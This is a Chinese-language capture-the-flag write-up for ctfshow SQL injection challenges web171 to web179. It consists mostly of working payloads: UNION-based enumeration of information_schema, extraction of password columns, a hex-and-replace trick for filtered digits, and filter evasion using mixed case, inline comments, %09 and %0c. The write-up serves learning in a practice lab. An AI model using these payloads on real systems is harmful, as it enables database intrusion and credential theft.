ctfshow sql注入漏洞 171-179
web171
题目已经给出了拼接的语句是带有单引号的所以我们要闭合并且利用-- 注释掉后面的单引号
1' order by 3-- A
首先查询字段有多少,我试了2,3,4,到4的时候端口异常所以判断为三个字段
-1' union select 1,2,3--+
查看当前哪些数据可以回显
-1' union select 1,2,database()--+
查看当前的数据库
-1' union select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web'--+
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
查ctfshow_web的表
-1' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user'--+
-1' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+
查询列信息
-1' union select 1,password,username from ctfshow_user where username='flag' --+
拿到flag
web172
1` order by 2 --+
发现只有两个回显。
-1' union select 1,table_name from information_schema.tables where table_schema='ctfshow_web' --+
发现有两个表
-1' union select 1,password from ctfshow_user --+
-1' union select 1,password from ctfshow_user2 --+
拿到flag。
web173
思路同上题
web174
过滤了数字和flag
1' union select 'q',(select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag')--+
将数字1-0对应换成键盘上的q~p,flag中的g换成h(后来发现flag不是用flag{}包起来的,这个可以不用),我们将password首先hex一下,因为hex()函数的返回值中字母都是大写的,所以我们返回结果中的小写字母就是原来的数字,而大写字母就是原本的字符
用mysql执行输出flag
select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace('yeuryyueyiyFuuuBeqyreuewepyyyyeowDeryretewwDereqeqepwDyqyyyrytwDyeeuyrepyteyywetyqeoeoyquD','q','1'),'w','2'),'e','3'),'r','4'),'t','5'),'y','6'),'u','7'),'i','8'),'o','9'),'p','0');
web175
web176
大小写过滤
1' uNion Select 1,2,3--+
1' uNion Select 1,2,password from ctfshow_user--+
web177
过滤了空格
1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username/**/='flag'%23
web178
换了个方式绕过空格,%09对应的是tab键的url编码
1'%09union%09select%091,2,3%23
1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23
web179
过滤了空格,ASCII一个个试,%0c可以用
1'%0cunion%0cselect%0c1,2,3%23
1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag')%23